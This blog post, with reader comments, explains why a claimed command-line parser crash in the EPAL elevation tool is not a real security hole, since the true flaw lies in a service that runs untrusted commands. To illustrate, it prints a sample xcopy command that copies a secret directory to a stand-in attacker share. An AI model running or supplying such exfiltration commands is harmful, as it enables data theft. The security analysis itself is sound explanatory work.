It rather involved being on the other side of this airtight hatchway: Elevating the elevator


The EPAL tool is used on Windows 2000 systems as an application compatibility workaround: If there is some program that requires elevation, but you don't want to give your users administrator privileges, you can use the EPAL tool to run that program with the security of the EPAL program, but under the identity of the unprivileged user.

The idea here is that you run EPAL under a high-privilege account, and let is perform specific actions as the low-privileged user. For example, maybe you have a program that requires database administrator permission to add a new customer to your database. You don't want Bob to have to call you every time he needs to add a user, so you set up a procedure that goes like this:

  • Bob files a request to add a new customer.
  • A service process running with database administrator privileges receives the request.

  • The service process uses the EPAL program to run add_customer.exe under Bob's identity, but with database administrator privileges. Since the program runs with database administrator privileges, the operation successfully adds the customer; but since the program is running under Bob's identity, the record will be owned by Bob.

A security vulnerability report claimed to have found a bug in the command line parser of the EPAL tool. A carefully-crafted command line causes the EPAL command line parser to crash, and the finder was confident with that some more work, it may be possible to convert this crash into a full remote code execution exploit.

That's great, but let's look at the attack vector. To carry out this attack, you need to convince the service process to run the EPAL program with a command line that you control. That way, you can pass the carefully-crafted command line to the service, and it passes the command line to EPAL, and you know pwn the EPAL process.

Yeah, but so what? If you can convince the service to pass an arbitrary command line to EPAL, then there's no need to do all this command line crafting to get EPAL to do your bidding. EPAL is already going to do your bidding because it runs the command line you gave it.

Instead of crafting a command line that copies all the files in the C:\Secret directory to an Internet site, just craft this extremely sneaky command line:

xcopy C:\Secret \\bad-guys.example.com\uploads\pwnz0rd

EPAL's job is to run the command you pass to it. So just pass the command you want to run!

In other words, if you can control the command line passed to EPAL, then instead of

attack_epal carefully-crafted-command-line

just do

attack_epal xcopy.exe c:\Secret \\bad-guys.example.com\uploads\pwnz0rd

The real vulnerability is that the service process is blindly executing an untrusted command line provided by Bob.

The service should make sure that any untrusted information received from Bob is fully sanitized before passing it to EPAL. Because EPAL is basically CreateProcess.

Comments (11)
  1. Karellen says:

    On the other hand, the service might intend to allow the user to execute a command that should be "safe", like for example "dir c:\secret\[anything]" to get a directory listing that they wouldn't normally have access to.

    If the service has a well-written command line parser that does not crash on carefully-crafted input, and checks that [anything] doesn't contain "..", or a space that would allows the user to also get a listing of c:\ultrasecret\, then a carefully-crafted [anything] might pass the service's "trust", but could still manage arbitrary code execution as Administrator via EPAL.

    I suppose it depends on how carefully crafted the command line needs to be, and where the vulnerabilities are.

    1. Joshua says:

      Indeed; there are lots of programs that are safe against arbitrary command tails. So we have

      run_epal specific-command hardcoded-argument arbitrary-arguments

      but epal has its own command-line to crash vulnerablility so we now have

      run_epal specific-command hardcoded-argument epal-attack-vector

      which only yields admin because epal had a vulnerability.

      The valid form of this is common in the Unix world but obscure in the Windows world. I never would have thought I would have caught Raymond at Windows-specific thinking until today. Normally security hatchway is the submitter being an idiot; not today. At least epal is CreateProcess not cmd /c which is just too hard to secure.

      1. Mike Caron says:

        But, what does this have to do with EPAL? The bug is in the service.

        Put another way, EPAL is a police office, who has the authority to arrest someone. The proposed vulnerability is that someone found that if you ask a Judge to issue a confusing but carefully worded warrant, the officer will arrest someone other than the intended person.

        But, the thing is, if you have the power to ask the Judge to ask the officer to arrest someone, you can just ask them to arrest the person you wanted directly. The vulnerability is that the Judge is listening to you, not that the officer is listening to the Judge.

      2. Dave Bacher says:

        Unless I'm missing something in the EPAL documentation, the user does not get to specify any part of the command line. It is strictly "run this already registered program with the already registered command line."

        So it isn't like, say, sudo where you can run adduser and specify some parameters -- it's more of a "run job 123 now."

        1. Joshua says:

          That would make it an almost useless tool that can't fulfill Raymond's example of add_customer.exe to add a customer to the database (which is obviously not a zero-parameter operation).

          1. Dave Bacher says:

            https://msdn.microsoft.com/en-us/library/bb727155.aspx

            Raymond's example is a wizard -- it displays a dialog box with a next button. You don't make Bob in accounting open a shell prompt, that ends in tears.

          2. DWalker says:

            Apparently the PROGRAM signature needs to be registered; the parameters passed to it do not. So the name of the user to be added is a parameter. That's what Raymond means by saying the program needs to validate its input (or at least not to blindly run its parameter as a command line).

      3. Joshua says:

        I retract my statement and replace it with "Holy shatter attacks!" Spawning UI from an elevated user on another user's screen is a bad idea.

        (runas doesn't apply because the invoking user has the other user's password.)

  2. Engywuck says:

    On the EPAL site https://msdn.microsoft.com/en-us/library/bb727155.aspx it looks like the program to be executed is authorized by an administrator and is identified by its signature: "When the application is registered you must have a copy of the exe available because the application needs it to generate the account, group names, and a digital signature."

    So either the wannabe-attacker attacked the tool to generate these permissions - in which case he is already AD-admin - or he really found a way to change command-line options of an approved program. In the latter case there might be some security problems.

  3. Ramón Sola says:

    Aside comment. Is the post excerpt an intentional reference to The Outer Limits? I've found it very funny.

    1. Ron O says:

      Yep! That's the reference.

Comments are closed.

Skip to main content